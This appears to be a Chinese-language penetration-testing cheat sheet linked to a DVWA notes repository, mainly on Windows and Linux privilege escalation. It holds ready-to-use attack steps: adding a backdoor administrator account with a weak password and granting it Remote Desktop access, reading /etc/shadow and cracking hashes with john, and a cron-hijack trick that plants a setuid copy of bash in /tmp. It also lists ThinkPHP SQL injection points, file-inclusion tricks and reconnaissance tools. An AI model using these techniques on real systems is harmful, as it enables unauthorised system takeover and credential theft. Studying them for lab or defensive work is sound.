链接: https://github.com/dhgdhg/DVWA-Note
提权
Win
- 查看用户登录情况
query user
- 查看当前用户
whoami
- 查看当前系统版本与补丁信息
systeminfo
= 添加管理员用户, 设置密码为123456net user emm 123456 /add
net localgroup administrator emm /add
- 添加远程桌面组
net localgroup "Remote Desktop Users" emm /add
- 查看本机ip, 可加
/all
参数ipconfig
- 查看端口情况
netstat -ano
- 查看目录
dir C:\
- 查看指定位置文件内容, 一般为文本文件
type C:\asd.txt
- 写入文本到文件, 特殊字符如
<>
等前面加^
echo emm>1.txt
- 复制文件
copy 1.txt 2.php
- 将某个路径下的文件重命名
rename D:\1.txt emm
- 查看所有进程占用的端口
tasklist
- 强制结束指定进程, 如
taskkill /im emmm.exe /f
taskkill /im 映像名称.exe /f
- https://github.com/SecWiki/windows-kernel-exploits
- https://github.com/PowerShellMafia/PowerSploit
- https://github.com/rasta-mouse/Sherlock
- https://github.com/brianwrf/WinSystemHelper
Linux
大致流程
- web shell
- 反弹shell
- 提权
查看发行版本
cat /etc/issue
cat /etc/*-release
查看内核版本
uname -a
包含用户信息文件
/etc/passwd
包含密码信息文件
- Linux
/ect/shadow
- AIX3
/etc/security/passwd
- BSD 4.x
/etc/master.passwd
- HP-UX
/.secure/etc/passwd
- Linux
Linux 系统的加密算法
- 解密网址: www.cmd5.com/password.aspx
- Linux操作系统目前采用的常用加密算法, 主要通过账号后面的
$x
进行判断$1
: Md5加密算法$2
: Blowfish加密算法$5
: Sha-256加密算法$6
: Sha-512加密算法- 其他格式均为标准DES加密算法
- 例: `root:
...`
john破解Linux密码
unshadow /etc/passwd /etc/shadow > emm.txt
- 导出密码列表
john --wordlist=password.txt emm.txt
- 加载密码字典
john --show emm.txt
- 显示破解成功的密码
历史记录, 以及应用配置提权
- 查看
.bash_history
文件, 以及一些应用的配置可能会包含密码
- 查看
crontab提权
- 例
- 当root用户的cron文件内容为
* * * * * /home/a.sh
- 且普通用户有读写/home/a.sh的权限时
- 则修改/home/a.sh为,
+s
表示任何用户允许此文件时均为root权限cp /bin/bash /tmp/bash;chmod +s /tmp/bash
- 当计划执行后会在/tmp下生成bash文件
- 使用方法
/tmp/bash -p
, 则提权成功
- 当root用户的cron文件内容为
- cron用法
- 编辑
~/.profile
文件,在其中加入这样一行:EDITOR=vi; export EDITOR
- 使用方法
- 新建文件emmcron, 文件内容
* * * * * echo 1 >> /tmp/tttmp.txt
- 新建cron job:
crontab emmcron
service cron restart
- 新创建的cron job,不会马上执行,至少要过2分钟才执行。如果重启cron则马上执行
- 查看cron job:
crontab -l
- 删除 cron job:
crontab -r
- 新建文件emmcron, 文件内容
- crontab文件详解
a
: a时a-b
: 闭区间, a到b之间a,b
: a时, b时*
: 每一*/a
: 每隔a
例子 | 分 钟0~59
| 小 时0~23
| 日1~31
| 月1~12
| 星 期0~6
| 运行的命令- |-|-|-|-|-|-
每分钟执行 |*
|*
|*
|*
|*
|CMD
每第3到第15分钟之间的每分钟执行 |3-15
|*
|*
|*
|*
|CMD
每隔3分钟执行 |*/3
|*
|*
|*
|*
|CMD
每小时的第3和第15分钟执行 |3,15
|*
|*
|*
|*
|CMD
每年一月, 每隔两天, 8点到11点之间, 每小时的第3和第15分钟执行 |3,15
|8-11
|*/2
|1
|*
|CMD
每天21:30执行 |30
|21
|*
|*
|*
|CMD
星期日, 每分钟重启一次smb |*
|*
|*
|*
|0
|/etc/init.d/smb restart
- https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/crontab.html
- 编辑
- 例
数据库提权
- SQL Server
- MySQL
- MySQL连接文件一般为
conn.php
,config.php
,common.inc.php
,config.inc.php
- 若mysql不是系统权限, 则提权后也只是mysql用户权限
- 获取MySQL密码
- 数据库查询
- 配置文件读取
- 下载user文件
- 获取mysql地址:
select @@basedir;
- 获取mysql插件地址:
select @@plugin_dir;
- 获取mysql地址:
- MySQL连接文件一般为
thinkphp 代码审计
- 所有用户可控在表名或表名之前的sql,可能被注入
* from * table_name
- as, 后用户可控,可能被注入
as * from
- 聚合函数中有用户可控,可能被注入
count(*) from
- 直接执行sql语句的,可能被注入
- order, group, having, 后用户可控,可能被注入
order by *
- 注释, 索引内容, 用户可控,可能被注入
/* * */
- exp(表达式), 的内容用户可控
- setInc 值增加, 源码中未对参数做类型转换
- 以字符串查询不做过滤
- 所有用户可控在表名或表名之前的sql,可能被注入
文件包含
- 通过zip或phar协议包含文件, 适用于验证包含文件为特定后缀时
Py库
- httphack: 发起http原始数据
- exrex: 密码生成
- IPy : 识别ip段
- dnspython : dns工具包
- builtwith : 查看网址的web环境信息
获取子域名
- 暴力猜解
- 子域名字典
- 搜索引擎
- 页面爬取
- 第三方查询
- crossdomain.xml文件
- 通过https证书搜集
- 暴力猜解
指纹识别
- builtwith库
- 针对独有文件进行md5匹配
- 网上有 指纹信息 可以下载后使用下载
- 特有关键字匹配